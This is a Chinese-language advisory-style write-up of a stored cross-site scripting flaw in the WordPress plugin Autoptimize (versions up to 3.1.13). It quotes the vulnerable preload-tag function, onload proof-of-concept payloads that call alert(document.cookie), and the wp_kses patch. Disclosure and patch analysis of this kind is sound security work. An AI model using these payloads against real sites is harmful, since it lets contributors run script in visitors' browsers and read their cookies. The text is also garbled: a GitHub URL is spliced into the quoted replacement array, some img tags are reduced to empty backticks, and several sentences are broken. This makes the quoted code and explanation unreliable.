漏洞:认证用户(贡献者及以上)存储型跨站脚本攻击(XSS)
受影响版本:Autoptimize <= 3.1.13
修复版本:Autoptimize 3.1.14
文件:classes/autoptimizeImages.php
该漏洞存在于 classes/autoptimizeImages.php 文件中的 create_img_preload_tag() 方法中。此函数负责在启用图片优化或预加载时,为内容中的图片生成 <link rel="preload"> 标签。
在版本 3.1.13 中,该函数采用“黑名单”方法(通过 preg_replace)在将原始 `` 标签转换为 <link> 标签之前,移除特定属性如 title、alt、class、id、width 和 height。然而,它未能移除事件处理属性如 onload 或 onerror。
经过身份验证的攻击者(至少拥有贡献者角色)可以在帖子中嵌入恶意的 `` 标签。当插件处理该帖子以生成预加载链接时,恶意的事件处理程序被保留并注入到页面 <head> 中的 <link> 标签内。由于 <link rel="preload"> 支持 onload 事件,当资源加载时,JavaScript 会执行。
// classes/autoptimizeImages.php
public static function create_img_preload_tag( $tag ) {
// ...
// rewrite img tag to link preload img.
$_from = array( '<img ', ' src="https://raw.githubusercontent.com/ciscocamelo/cve-2025-13401-xss-stored/main/," sizes=', ' srcset=' );
$_to = array( '<link rel="preload" as="image" ', ' href=', ' imagesizes=', ' imagesrcset=' );
$tag = str_replace( $_from, $_to, $tag );
// INSUFFICIENT SANITIZATION: Only removes specific attributes
$tag = preg_replace( '/ ((?:title|alt|class|id|loading|fetchpriority|decoding|data-no-lazy|width|height)=".*")/Um', '', $tag );
// ...
return $tag;
}
create_img_preload_tag 通常针对视口中检测到的图片或显式预加载的图片被触发。<img src="https://example.com/image.jpg" onload="alert('XSS_POC_SUCCESS')">
<!-- Malicious Image -->
<img src="https://raw.githubusercontent.com/ciscocamelo/cve-2025-13401-xss-stored/main/wp-content/plugins/autoptimize/classes/external/js/lazysizes.min.js" onload="alert(document.cookie)">
<link rel="preload" as="image" href="/wp-content/plugins/autoptimize/classes/external/js/lazysizes.min.js" onload="alert(document.cookie)">
width、height 等可能被移除,但 onload 保留。<link> 标签,预加载资源,并触发 onload 事件,执行 XSS。该补丁用 wp_kses() 替换了黑名单正则表达式,为生成的 <link> 标签启用了严格的允许属性白名单。
// classes/autoptimizeImages.php v3.1.14
$allowed_html = array(
'link' => array(
'rel' => true,
'as' => true,
'href' => true,
'imagesizes' => true,
'imagesrcset' => true,
'type' => true,
'media' => true,
),
);
$tag = wp_kses( $tag, $allowed_html );